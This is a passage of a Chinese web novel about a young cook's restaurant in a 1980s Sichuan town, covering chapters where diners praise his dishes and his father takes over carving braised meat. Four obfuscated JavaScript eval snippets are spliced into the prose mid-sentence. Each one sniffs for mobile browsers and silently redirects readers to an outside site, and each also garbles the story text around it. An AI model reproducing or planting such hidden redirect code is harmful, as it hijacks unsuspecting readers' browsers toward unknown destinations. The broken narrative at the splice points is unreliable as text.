“好！”赵铁英应了一声，快步走来。 黄琛点了回锅肉、碎花牛肉和一碗跷脚牛肉，这是他观察之后，发现熟客们点的最多的三道菜。 以他的经验来说，这样点，一般不会踩坑。 “要得，稍等！”赵铁英往厨房走。 “**长怎么突然想起来这里吃饭？”老马给他倒水，笑着问道。 镇长爱吃，但素来节俭，工作日都是在食堂吃三餐的，今天去乡下视察回来，却拉着他来饭店吃午 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200218|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饭，一点就是三块多钱的菜，这可是高消费啊。 “我有个朋友明天路过苏稽住一晚，我提前找个吃饭的地方，明天好招待他。”黄琛喝了口水，笑着道：“那日尝过周砚做的卤菜和凉菜相当不错，所以今天再来尝尝他做的炒菜如何。” “什么朋友让你如此重视？若求稳妥的话，国营饭店菜式岂不更多一些？”老马有些不解，转念一想，莫非是哪位领导？又觉得自己多嘴了。 “我这位朋友是杂志社的副主编，吃过太多好东西了，嘴又刁又毒，寻常饭店的菜已经入不了他的法眼。”黄琛笑着道：“上回他来，我就是带他吃的国营饭店，没一道菜让他满意的，后来写信还笑话我们苏稽没有美食，我心里有口气啊，非得给苏稽美食正名。” “那周砚做的卤菜和凉菜，还是相当有水平的。”老马笑着道，大概懂其中的恩怨了。 男人嘛，不蒸馒头争口气。 两人说着话，跷脚牛肉先端上来了，赵铁英还给拿了两个小碗和两个蘸碟。 牛肉汤的热气扑面而来，鲜香扑鼻，面上几片汆烫的粉嘟嘟的牛肉，纹理分明，看着就十分鲜嫩。 “先尝尝汤。”黄琛拿公勺舀了小半碗汤到小碗里，吹了吹热气，然后喝了一口，眉毛立马扬了起来。 好鲜！ 色泽清亮的牛肉汤，汤味却是格外浓郁鲜美，一口热汤下去，从胃里暖和起来，舒服！ 半碗汤几口就喝完了，又尝了尝碗里的肉。 牛肉片大薄软，毛肚脆爽，蹄筋软糯，牛肠嫩滑，各有风味，蘸上这调配好的辣椒面，味道更上一层楼。 好吃啊！ 黄琛也没想到，竟然会被一碗清汤牛杂给惊艳到。 他在苏稽干了十年，周村汤锅自然是喝过的。 周砚就是周村的，可他把汤锅改了个名，怎么连味道都完全不同了。 根本就不是一种东西啊！ “好，好啊！”黄琛喜上眉梢，别的不说，光是这道跷脚牛肉，他觉得就能让他那位朋友惊艳了。 接着双椒碎花牛肉和蒜苗回锅肉也上来了。 黄琛拈起一片回锅肉，灯盏窝，拈闪闪，相当标准的回锅肉。 他去蓉城的时候，这朋友没少带他吃好吃的餐厅、饭店，鉴赏能力是有的。 夹一截蒜苗，入口软糯，瘦肉还略微弹牙，蒜苗在中间绽放，肥而不油，香而不腻。 绝了！ 这一点不比荣乐园的蒜苗回锅肉差啊！ 咽下之后，立马扒拉一口米饭。 嗯！ 这甄子饭蒸的太有水平了，米饭分明，松软喷香，带着些许木桶的香气，嚼起来回甘，米香十足。 再舀一勺颜色鲜亮的碎花牛肉盖在饭上，连着米饭扒拉一口。 外酥里嫩的牛肉粒，与鲜辣的双椒在齿间碰撞，油香油香的，可真是人间美味！ “周砚太有实力了！坝坝宴完全没有展现出他的实力啊。”黄琛感慨道。 “没错。”老马深表赞同。 这顿饭。 黄琛吃了三碗饭，喝了两碗牛肉汤，吃得肚皮浑圆，心满意足。 老马也差不多，摸着微凸的肚子，打着饱嗝。 妥了！ 明天就定这！ 第一更，求月票！ (本章完) 第101章 火爆腰花和火爆猪肝！（第二更） 黄琛结了账，还跟赵铁英预定了几道菜，明天晚上带朋友过来吃。 “这卤猪蹄菜单上怎么没有？”黄琛问道。 赵铁英笑着解释道：“卤猪蹄还没上菜单，不过今天可以提前预定，明天会给预定的客人卤着，价格预计在一块五以内。” “行，那你也给我定一个。”黄琛点头，瞧这小姑娘吃的实在是太香了，味道定然不差。 “好，菜都给你备着。”赵铁英笑着点头，不愧是副镇长，一口气点了四个菜，一份跷脚牛肉和一个卤猪蹄。 黄琛骑着车与老马心满意足的离去，笑容满面的自语：“何志远啊何志远，我要让你瞧瞧什么是苏稽的真正实力！” …… 中午营业结束，老周同志也回来了。 一辆拖拉机停在饭店门口，里边装着两个木箱，一张小方桌，一堆木板，两张长条凳，还有一些零零碎碎的锅碗瓢盆，两个小板凳。 木板已经洗过了，湿哒哒的，但是都很干净。 周杰开的拖拉机，和周淼从拖拉机上跳下来的还有周海。 周沫沫正在门口画沙子，听见动静凑了过来，看着自己的小板凳从拖拉机上被拿下来，一脸疑惑：“爸爸！这不是我的凳凳吗？为什么要搬来呢？” 小家伙到现在都还不知道自家塌房了。 当然，就算知道了，大概也不太能理解什么是塌房。 “对，是你的凳凳。”周淼点头，一时间不知道该怎么解释。 “我们搬家了，以后就住在店里，跟你哥哥一起住。”赵铁英走了出来，摸了摸周沫沫的脑袋，“高兴吗？” “真的？！高兴！”周沫沫高兴地跳了起来：“我喜欢跟锅锅住在一起！” “那把你的凳子搬起走。”赵铁英笑着把小凳子递给她。 “要得！”周沫沫搬起凳子就迈着小短腿往店里跑。 周砚出门来，看着笑容满面的周沫沫，不禁默默感慨，真是无忧无虑的年纪，塌房了都能那么开心。 “嗯，有点厉害哦，挖了那么多东西出来，板子都洗干净了。”赵铁英看着拖拉机上装满的东西，有些意外。 “厨房没有埋住，能用的东西基本都捡出来了，两箱衣服盖在屋顶下面也没有弄脏，都是你和沫沫的，两张床板都挖出来了，其他东西埋得深，或者压坏了，我就没要了。还有些农具，镇上用不着，就先放老宅去了。”周淼说道。 “要得，够很了。”赵铁英点头，她最喜欢的几套衣服都装在这两个箱子里，然后看着两人道：“周海，周杰，辛苦你们了。” 周杰笑着摆手：“辛苦啥子四嬢，我们两个也是摊子摆完才回去的，就是去借了拖拉机搬下东西，这些都是大爷和四叔他们挖出来的，这些东西卸在哪里呢？” 赵铁英道：“箱子和那些小东小西就下门口，板子是湿的，拖拉机往前边开点卸在坝坝上晒两天才能用。” “要得。”周杰点头，和周海立马开始干活。 “杰哥，你们吃了没得？”周砚开口问道。 “还没有，卸了货回去吃嘛。”周杰把站在拖拉机上，把箱子递给周海，随口应道。 “那辛苦你们下货，我就先去做饭，我们也还没有吃，炒两个菜，简单吃点嘛。”周砚笑着说道。 周杰有些期待：“有回锅肉没得？” 赵铁英笑着说道：“有，还有卤猪蹄，一人给你们整半个。” “卤猪蹄啊！” “一人半个！” 周杰和周海的眼睛都绿了，立马干劲满满：“要得！周砚你搞快去做饭！这点东西我们马上就搬完！” “好。”周砚笑着转身，今天吃一整个猪蹄的愿望，看来是要落空了。 没办法，自家兄弟不怕脏不怕累的帮忙干活，天王老子也得让座啊。 中午菜做的不少，回锅肉、牛肉烧笋干、火爆猪肝、火爆腰花四个硬菜，而且分量都很大，一斤猪肝全炒了，装了两盘。 卤猪蹄对半切，一人半个。 还有一个直接切碎了装一盘，谁都可以拈着吃。 哦，周沫沫不行。 那一个大猪蹄没吃完就把她给吃饱了，剩下的都被赵嬢嬢给接盘了。 不过两个小时过去，她又能吃得动了，第一个爬上桌乖乖坐好，两眼放光的盯着那两盘新菜。 “喔唷！这么丰盛啊！”周杰洗了手进来，看着一桌子肉菜，惊叹道。 “看着有点好吃哦！闻着就香！”周海跟着进门来，忍不住吞了吞口水。 周淼也有些意外：“今天有猪肝和腰子啊，倒是好久没吃过了。” “来嘛，开饭！”周砚一人先盛了一大碗米饭。 今天桌上都是下饭菜，大家干的都是体力活，忙了一早上，这都一点多了，肯定饿的心发慌。 这种时候，没有什么比一碗米饭更让人觉得香了。 众人坐下，都先盯住面前盘子里装的半个卤猪蹄。 老太太擅长做卤味，但卤猪蹄她自己格外喜欢，一般只给家里最小的晚辈分享半个。 在座的各位，都只有在各自处于家中年纪最小的时候，才吃到过老太太赏赐的半个猪蹄。 赵铁英和赵红则是在入门第一年过年，尝过一回，等他们生了娃娃，自然就轮到娃娃吃了。 看着眼前的半个猪蹄，众人都有了几分庄严肃穆的感觉。 “吃啊，等赏吗？”周砚笑道，伸手先抓起猪蹄咬了一口，软糯的猪蹄一抿就化，卤汁完全渗入肉里，连筋膜嚼起来都是五香的。 其他人哪里还忍得了，也是纷纷抓起猪蹄啃了起来。 大猪蹄，半个也有六七两重，就得抓着吃才最有感觉。 “太香了！跟奶奶卤的简直一模一样！”周杰惊叹道。 “好吃！我都有十多年没吃到过了吧。”周海连连点头，啃的可香了。 每一个人都找到了回忆里的味道，对号入座，觉得分毫不差。 周沫沫得了一小块猪蹄尖，也啃的有滋有味。 每个人的猪蹄啃完骨头都是干干净净的，连蹄筋都没剩下，手上全是油，都快黏住了。 太香了！要不是骨头太硬，骨头都想啃了。 “这些骨头等会我带回去，给我家小黑加个餐。”周杰笑着说道，他家里养了条**，能上山撵兔的那种。 “要得。”周砚点头。 众人去把手洗了，重新落座，拿起筷子开始干饭。 “我尝看着火爆腰花嫩不嫩。”周杰夹了一片腰花，麦穗花刀切的可太漂亮了，爆炒之后自然卷曲，被小火慢煎后的豆瓣红油染成了棕红色，泛着油亮的光泽。 一口喂嘴里，还有点烫，轻轻一嚼，眼睛马上亮了起来。 好嫩！ 大火爆炒的锅气与花椒的麻、辣椒的辣、还有腰花的鲜一起迸发。 火爆中让腰花外表微焦脆，内里却细嫩如豆腐，嚼起来有带点弹舌的脆感。 藏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200219|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在那花刀之中的滋味，一起释放，实在是太好吃了！ 周杰感觉自己的内心都要尖叫了。 老汉，我说先送货再吃饭嘛！ 你看看，要是在家里吃妈做的咸菜炒牛杂，哪里还吃得到这么好吃的火爆腰花。 周杰心头那个得意啊，扒拉了一大口米饭，又夹了一块火爆猪肝。 嫩！鲜！ 愣是一点怪味没有。 和猪腰不同，薄切的猪肝外边勾了一层极薄的芡，咬下去格外的嫩滑。 麻辣鲜香自不用多说。 虽然和火爆腰花用料相近，却炒出了浑然不同的感觉。 太下饭了！ “好吃！”周杰只来得及评价两个字，就只顾得上干饭了。 回锅肉也是下饭天花板啊，上回尝过之后他一直惦记着，今天可算又吃上了。 周海不语，只是一味低头干饭，一会功夫，已经盛了第二碗。 就连干饭达人周沫沫看了，都忍不住抬头多瞧了两眼。 海锅的碗实在是太大了！有她的脸那么大！ 海锅实在是太厉害了！ “嗯，确实好吃，炒的好嫩哦。”赵铁英也是连连点头。 她对猪肝其实并不喜欢，炒了很多回口感都很差，还有点发苦，有一回倒是炒的嫩了，结果吃完全家拉肚子拉了一夜。 但周砚今天炒的这个，口感和味道都极佳。 就是吧…… 炒这么嫩，不会打标枪吧？ 赵铁英的筷子伸到一半，转向了回锅肉。 对，回锅肉也香。 “放心吃，都炒熟了，不会打标枪。”周砚一秒看穿赵嬢嬢的小心思，笑着说道：“要上菜单的菜，不会乱整。这是靠厨艺炒的那么嫩，不是下锅拌两下就出锅。” “我晓得，我就是更喜欢吃五花肉。”赵嬢嬢点头，夹了块火爆腰花。 唔，好吃！ 周砚对火爆猪肝挺满意的，火候的把控做到了极致，追求极致的嫩，但不以没熟作为代价，寻找到了一个非常关键的临界点。 火爆腰花就稍微差了点意思。 【一份还行的火爆腰花】 这是鉴定给出的评价。 还行，但差点意思。 火候和调味上都要做调整。 追求火候的菜，哪怕是细微的差距，成菜也会有非常大的区别。 容错率太低了。 不过这是第一回做，能拿到【还行】的评价，并且得到大家的认可，周砚还是挺满意的。 这菜先不上菜单，等什么时候达到【不错】，再上也不迟。 这顿饭，把木桶里剩下的饭全干完了。 周杰和周海心满意足的开着拖拉机回去了。 周淼正准备收碗，被赵铁英喊到一边，被喊过来的还有周砚。 爷俩揣手站着，像犯了错等班主任训话的小学生。 周砚想着不会是老周同志藏的私房钱被发现，把他给供出来了吧？ 老周同志想的也是同一件事。 “老周，要不以后你就不要自己杀牛卖牛肉了，有人喊你杀牛你就去，没活的时候就在店里负责切卤肉、称卤肉。”赵铁英看着周淼神情认真道：“反正周砚也打算招个墩子来负责做这件事，自家人肯定会上心一些，我们一家人齐心好好干，挣钱修房子！” 第二更！求月票~   (本章完) 第102章 大叔的手就是秤啊！（1500月票加更 周砚和老周同志同时松了口气，还好不是私房钱的事。 不过周砚回过味来，有点惊讶，也看向了老周同志。 眼下饭店确实缺个墩子，可老周同志是周村最好的杀牛匠，让他纡尊降贵来当墩子的话，他实在是说不出口。 既然赵嬢嬢开了口，那他也想听听老周同志的想法。 杀牛每天起早贪黑，一个月能挣七八十块钱，比纺织厂工人还挣得多，确实是个不错的行当。 但累也确实累。 以前有赵嬢嬢给老周同志打下手，中午就能把肉卖完。 现在赵嬢嬢被他挖来当大堂经理，老周同志卖肉效率大幅降低，经常两点钟都吃不上午饭。 赵嬢嬢的工资加提成，已经高于老周同志杀牛卖肉的收入，他挖不回去了。 “这……”老周同志明显有点纠结，杀了半辈子牛，现在让他来当墩子，多少有点迟疑。 “老汉，基本工资我给你开三十八块，和纺织厂的墩子一样。另外你作为卤肉区的负责人，我还给你卤肉两成的利润作为提成，能挣好多，就看你自己的本事，卖的越多，挣的越多。”周砚作为老板，这个时候肯定要站出来表态：“而且，如果有人喊你去杀牛，你只管去，只要不影响店里卖卤肉就行。” “听到没得，两成提成！”赵嬢嬢伸出了两个手指，压低了几分声音道：“昨天卖了四十多，今天准备的卤肉翻倍，利润有一半，你算算你提成能挣好多？” 老周同志常年卖肉，算数好得很，怎么会算不清这个账。 光是提成一个月就有一百多块钱，比他之前卖牛肉挣得多。 以后要是卖的多，挣的还更多，说不定他和老婆一年的就能存够钱把房子修起来。 “要得，都听**，以后我来店里负责切卤肉。”老周同志点头，这活逢年过节他做的多了，也算是熟练工。 而且周砚说了，有人喊他杀牛他一样可以去杀，一个月能杀五六头牛，手艺不会生疏，杀完牛回店里也就**点，一点不影响。 一个人卖牛肉确实没啥意思，能给周砚帮上忙，和家人待在一起，他觉得挺好的。 “太好了！”周砚开心极了，重要雇员招募成功！ 这下店里的卤肉有人现切了，保证卤肉最好的口感！ 老周同志办事，他放心。 很难找到比他做事更有条理，更一丝不苟的匠人。 这样的墩子，金不换啊！ 至于提成。 周砚非常乐意给赵嬢嬢和老周同志这份高额提成，这能够极大提高他们工作热情的，你瞧瞧赵嬢嬢干活多带劲，一天能喊几百句乖乖。 现在纺织厂的年轻女工们可喜欢她了，就算不吃饭，路过都要和赵嬢嬢打声招呼。 钱以工资的方式给他们，他们会更容易接受。 周砚不喜欢逢年过节在那推拉大红包。 更何况他们只要做得好，这就是他们应得的报酬。 技术工种，要得到应有的尊重。 “走，老汉，你去洗个澡，我带你去买一身厨师服，再把头发和胡子弄得清爽一些，以后你就是我们饭店的门面了。”周砚说道。 等老周同志洗完澡，套了身他的衣服，周砚揣了钱，带老周同志出门改造。 两个小时后，俩人回来。 老周同志有些散乱的头发已经被剪成了平头，短胡茬被修的干干净净，衣服换成了白色的棉麻厨师衬衣，下边穿黑色裤子，焕然一新。 “可以啊老周！有模有样的！”赵铁英绕着周淼转了一圈，啧啧称奇，这身衣服穿身上，显年轻了好几岁。 “四叔，你看起来也像个大厨了。”赵红也是笑着说道。 “那就好……”老周同志整理了一下衣摆，还有几分不好意思。 “老汉，你放心，相当有大厨风范。”周砚笑着道：“老汉，你给奶奶切卤肉切惯了的，那我就只跟你讲要求，不另外给你示范了哈。” 周淼点头：“要得，我就按你昨天给我打包的卤猪耳朵和卤猪头肉的标准来切。” 你看看，优秀的墩子，只需要吃一次就能复刻。 一点不需要老板操心！ 周砚想笑，赵嬢嬢实在太有魄力了，这个店没有她要散！ 赵嬢嬢已经把两箱衣服洗了晒出去了，都是秋冬的衣服，被雨水打湿但没弄脏，晒干了就能穿。 周砚还从弹棉花的朱老四那里买了两床被芯，又去供销社买了两张被单子和两个枕头，从自行车后座上解下来。 “买的新被子吗？怎么不买棉花回来自己打？这好贵的嘛！”赵嬢嬢也注意到了两床被子，上前帮忙接，一脸肉疼。 “今天晚上就要睡的被子，哪里还有功夫现打。”周砚笑着说道，“就是朱老四那里买的被芯，盖的八斤，一级棉，棉花一斤两块六毛钱，垫被的六斤，五级棉一块九一斤，他打好现成的，工钱另算。算上供销社买的被套和被单，加上两个枕头，一共五十二块八**。” “五十二块！”赵嬢嬢吸了一口冷气。 赵红也是有些咋舌。 这棉被好贵哦！ 周砚也是舍得。 “人这一辈子，有三分之一躺在床上，所以被子和枕头多花点钱是应该的。”周砚笑着说道：“其他地方可以省一点，但睡觉要对自己好一点。” 赵铁英想了想，觉得周砚这话说的还挺有道理的。 买都买了，又不让退，只能先抱楼上去。 这新棉被抱着是软和，闻着还有股清香味，棉布也很软，是比她们之前睡的十多年前的老棉被舒服，那都睡得梆硬了，冬天盖身上是漏风的，一点都不暖和。 “花钱要节俭，照你这个花法，有座金山都能败光。”赵嬢嬢把棉被放下，还是跟周砚叮嘱道。 “我晓得要节俭，不过给你们花钱，我不心痛。”周砚笑着道，“以后挣到钱了，我给你们买蚕丝被，那个还要更软和。” “哪个要睡你的蚕丝被，外国人才睡得的起的嘛！”赵嬢嬢白了他一眼，嘴角却藏不住笑意。 一个下午一晃就过去了，塌房的阴霾似乎已经从他们家人的头上散去。 赵铁英觉得，生活依旧充满了希望和奔头。 闲着没事，赵嬢嬢开始给老周同志进行上岗培训。 “你不能板起个脸，客人是来吃饭的，你太凶了站在门口，把那些小姑娘吓到，人家都不敢进店了。” “对头，你跟着我学，要这样子笑。” “你要相信自己，你肯定笑得出来的，我都相信你。” “不对！你这笑的比哭还难看，比刚刚还吓人！” “劳资蜀道山！你再给我这样笑……” …… 周砚和周沫沫坐在柜台后边嗑瓜子，离得远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200220|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远的，生怕被逐渐暴躁的赵嬢嬢波及。 “锅锅，妈妈为啥子要让爸爸笑呢？”周沫沫从周砚手里拿剥好的瓜子仁吃，有些不解的问道。 “因为老汉不笑，客人还真不一定敢进门来。”周砚笑着道。 老周同志板着脸的时候，确实太有压迫感了。 杀了二十多年牛，身上多少带着几分煞气，盯着人看的时候更是让人胆寒。 所以周砚觉得赵嬢嬢的上岗培训是很有必要的。 老周同志被训的可委屈了，嘴巴瘪了瘪，低声道：“铁英，你莫要生气嘛，我再笑笑看。” 明明委屈的是他，还得先哄老婆。 家庭弟位这块，确实拿捏的死死的。 周砚实在看不下去了，上前道：“妈，你不能按照你的标准来要求老汉，你笑起来就像是一朵花，纺织厂的小姑娘都喜欢你。我老汉平时不笑的人，只要能让他微笑就不错了，这样看着也比较顺眼，他的假笑更吓人。” 老周同志向他投来求援的眼神，再训下去，他今天怕是只能睡地铺了。 赵嬢嬢闻言也笑了，看着周淼点头道：“行嘛，你微笑就要得。” 老周同志松了口气，面露微笑。 “对头！就是这个微笑！记住这种感觉！”周砚立马说道：“老汉，你要这样想，进店的每一个顾客都是我们的金主，只有让他们开开心心的把钱花了，下次还来，我们才能挣到钱把房子修起来。你说，看到他们是不是应该跟看到大团结一样高兴？” 老周同志笑的更真诚了，大团结确实值得一个真诚的微笑。 纺织厂的工人们一下班，就发现周二娃饭店的门口支了一张小方桌，桌上的簸箕里装着色泽红亮的卤猪头肉、卤猪耳朵、卤猪拱嘴，一个簸箕塞的满满当当，看起来可太有食欲了。 小方桌后边站着一个穿着白色厨师服的大叔，面带微笑，看着还……算和蔼吧？ 至少看起来干干净净的，清爽利落，和周砚长得有几分像，怎么看都顺眼。 常来饭店吃饭的客人都知道，这是周砚他老汉，平时也会在店里帮忙上菜。 不过看这架势，卤肉是交给他来负责切了？ 他能行吗？ 昨天买过卤猪头肉和卤耳片的都知道，周砚的耳片切的极薄，猪头肉切的非常均匀，在口感上相当有保证。 “叔，给我来一只猪耳朵，再要三两猪头肉，打包。”有客人抢着点单，猪耳朵才十二只，错不过不再有啊！ “好。”周淼拿起一块猪头肉，切了一刀，然后把那块猪头肉放秤上一称，开口道：“刚好三两。” “哇！” “这么准！” “蒙的还是手上真有活？” 围着的客人们顿时一阵惊呼，纷纷瞪大了眼睛。 周淼又拿起客人选中的那只猪耳朵，手里一掂，还没上称，就道：“这猪耳朵，也刚好三两。” 说完，秤一抬。 一钱不差，刚好三两。 “嗨！真神了！” “叔的手就是秤啊！” “我不信，要不你掂我试试？” 1500月票加更！ 继续求月票！ 明天继续加更！ 都是3k+的章节，一点不带水分   (本章完) 第103章 舔到最后应有尽有 老周同志小试牛刀，惊得客人们咋咋呼呼。 他的手太准了，刀更是稳的一匹。 说多少，一刀下去，一钱不差。 一开始大家还觉得是蒙的，后来连着好几位客人要的猪头肉都是一刀切，大家彻底服了。 手准也就算了，他的刀工更是一绝。 猪耳朵要薄，要切的均匀，对墩子的刀工是有较高要求的。 菜刀在他手里刷刷刷，快的都出现残影了。 一片片纤薄的猪耳朵落在砧板上，薄的能透光。 猪头肉更是不在话下，厚度把握的极其变态，每一片几乎都是一样的。 工人们看着老周同志的目光，多了几分敬佩。 这是老师傅的手艺啊！ “给我来一只猪耳朵，半斤猪头肉，再要一份凉拌鸡。”王厂长今天来得早，拿着饭盒从人群里挤了进来。 “要得！王厂长你稍等。”赵铁英笑着接过饭盒，让老周把最后一只猪耳朵给厂长切了。 “同志，你这刀工真不错，但看起来又不像专业墩子，之前做啥子工作的？”王宏亮瞧着周淼切卤肉，好奇问道。 “干了二十多年的杀牛匠。”周淼把猪耳朵打包装好，和半斤猪头肉一并递给王宏亮，有些不好意思地笑了笑。 王宏亮竖了个大拇指：“那你杀牛的手艺肯定很好。” 周淼笑了，笑得格外开心。 过了一会，林志强也来了，瞧见猪耳朵已经卖完大感失望，好在猪拱嘴还有一块，赶紧点了，又要了三两猪头肉。 “老周，给我切块瘦一点的，我小儿子不吃肥肉。”林志强跟周淼说道。 他来店里吃饭的次数多，和周砚关系又好，所以跟赵铁英和周淼也就自然熟了。 “要得！”老周笑着点头，给他选了一块瘦多肥少的。 “安荷回来了吗？林厂长买这么多菜？”赵铁英笑着问道。 “对，她今天晚上回来，我买两个卤菜回去。”林志强点头，想了想，又把自己的饭盒递了过去：“给我打包一份跷脚牛肉嘛。” “要得。”赵铁英笑着接过饭盒。 “主要是两个娃娃想吃了。”林志强补充了一句。 “娃娃多吃点牛肉对长身体好。”赵铁英应了一声，随手多抓了几片吊龙烫到锅里，林厂长这家人好着呢。 周淼负责卤肉区，凭借着精湛的刀工和秤一样的手，成功吸引了不少客人。 卤猪头肉昨天卖了一天，口碑已经发酵开了，今天大家围着买，不少工人找熟人打听之后，也是纷纷跟着买。 半个小时的时间，卤肉就全部卖空了。 得亏周淼的刀足够快，客人基本不用等单，换个刀工差点的，光是切完这些肉都得一个小时。 “不好意思，今天的卤肉已经卖完了，明天我们再适量增加一些嘛。”赵嬢嬢又开始给后来的客人们道歉了。 今天卤了六个猪头，早上她还有点担心卖不完。 没想到周淼刷刷切，哐哐卖，半个小时就卖空了。 其中有不少客人纯粹是不信邪凑热闹的，就想看看他的手是不是真有那么准，要多少就能切多少。 凉拌鸡也卖的很不错，打包的客人都有经验了，中午吃完饭就把饭盒洗了晾干，晚上过来直接拿饭盒打包，红油不会撒，干净又卫生。 凉拌鸡最好吃的状态，绝对是拌好之后等个二十分钟左右，让味道完全渗入鸡肉之中，嚼起来连骨头都是香的。 工人们把凉拌鸡打包好，一路这么摇摇晃晃拎回家，上桌开吃味道刚好合适。 周砚今天晚上只需要弄个凉拌鸡，明显游刃有余多了，后厨不像昨天那般兵荒马乱。 老周同志可真是个即插即用的优秀员工。 今天备的菜和昨天一样多，最后剩了一份红烧排骨，鱼缸里还养着十几条鲫鱼，活蹦乱跳的，明天用一点都不影响。 周砚把剩下的那份排骨给打包了，让赵红拿回去给两个孩子吃。 “那么贵的排骨，留着给沫沫吃嘛……”赵红一脸不好意思，这一份排骨，比她一天的工资还高了。 “她今天晚上吃的就是排骨，你拿回去少炒个菜，明天我有做新鲜的。”周砚笑着把饭盒递到她手里。 晚饭他们是营业前就吃了的，赵红吃了个半饱，晚上回去再和周飞还有两个孩子吃一顿。 按她的说法，一家人得坐一起吃饭才像是一个家。 “走，我们两爷子去把木板搬回来，晚上河边湿气重，弄湿了又白晒一天。”周淼喊上周砚，把晒在坝子上的木板全部搬回店里。 晒了一个下午的木板，已经半干，看样子再晒两天就能睡了。 周砚换了件背心，抱着铺盖下楼放在柜台上，和赵铁英说道：“妈，我把铺盖拿下来了，你把新铺盖铺上你们睡楼上嘛，我弄四张条凳拼一起就是一张单人床，先睡两天。” “要得。”在厨房烧热水的赵铁英应了一声。 “锅锅，你要去哪里？我能不能一起去？”周沫沫瞧见周砚往门口走，立马从凳子上溜下来，满眼期待的看着她。 “我去跑步，你不是要洗澡澡吗？”周砚脚步一顿，笑着道。 “我不想洗澡澡……” “周沫沫？”赵嬢嬢的声音从厨房里响起。 “对！我要洗澡澡！喜香香！我爱洗澡澡！” 周沫沫点着脑袋，眼神坚定的像要入党。 周砚笑着出门去了，妥妥的血脉压制啊。 周砚跑到家属院门口，林志强正在热身，看到周砚后笑着跟上，“小周啊，你卤的这个猪头肉和猪拱嘴太好吃了，我老婆和两个儿子吃完都赞不绝口，嫌我买少了呢。” “我这手艺是跟我奶奶学的，当年的嘉州第一卤，我这火候还差了几分呢。”周砚笑着道。 林志强眼睛一亮，问道：“我听他们说还有卤猪蹄？你孟姐最爱吃卤猪蹄了，啥时候上菜单，给我留两个，我要排队跟他们抢，肯定抢不到。” “我准备明天就上卤猪蹄，一块二一个，一个能有一斤二左右，林叔要的话，我给你留两个。”周砚笑着说道。 “一块二一个？这价钱定的挺便宜啊，明天合适，你给我留两个，晚上下班我来取。”林志强点头，非常爽快的预定了两个卤猪蹄。 两人边跑边闲聊。 林志强跑了一个星期，体力提升显著，应该是年轻的时候就有一些底子，恢复锻炼后很快就找回状态。 周砚二十岁的小伙，体力自然不用多说，跟林叔跑都是刻意压着速度的。 “和瑶瑶还有书信来往吗？”林叔聊完了国家大事，开启八卦模式，当然，主要是老婆给的任务。 “上回寄出的信，不知她收到没有。”周砚微笑道，这几天忙的晕头转向，把这事都忘在脑后了。 “不对不对，你这节奏不对啊。”林志强连连摇头，“当年我在苏州，你孟姐在杭城，我一年给能给她写三百多封情书，现在她杭城老宅有个箱子里装满了我给她写的上千封情书。 孟老爷子当年瞧不上我，是我丈母娘被我这份真情给打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200221|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动了，才做主同意了这门婚事的。” 你每天有那么多屁事好写吗？周砚抿嘴，把不该说的话憋住。 “一天一封？信送的那么快吗？”周砚问道。 “并不是这样的，安荷一周只给我回一封信，而我在写手里这封信的时候，还有三封信在路上。”林志强笑着道：“当你喜欢一个人的时候，就连路边看到的可爱小猫都想跟她分享，自然每天都有不一样的东西可以写。” 周砚懂了。 舔狗，舔到最后应有尽有。 孟姐留过洋，学历高，能力强，长得又漂亮，那气质一看就是千金大小姐。 当然，林叔也不差。 可要让周砚一天写一封信，那不如杀了他算了。 反正他是绝对不会写的！ 他才不当舔狗呢。 回到家属院门口，出了一身汗的林志强摆摆手回去了，周砚背着他又偷偷加练五公里。 回来的路上，周砚碰到了一个钓鱼佬，光膀子背着一条十多斤重的大鲤鱼，在大坝上人多的地方走来走去，像是迷路了。 昨夜大雨，河里涨了水，今天不少空军佬都破了龟，钓到鱼了。 “**，大哥，你也太牛批了，哪钓的这么大鱼啊？”周砚凑过去问了一嘴。 一堆散步的人闻声围了过来瞧。 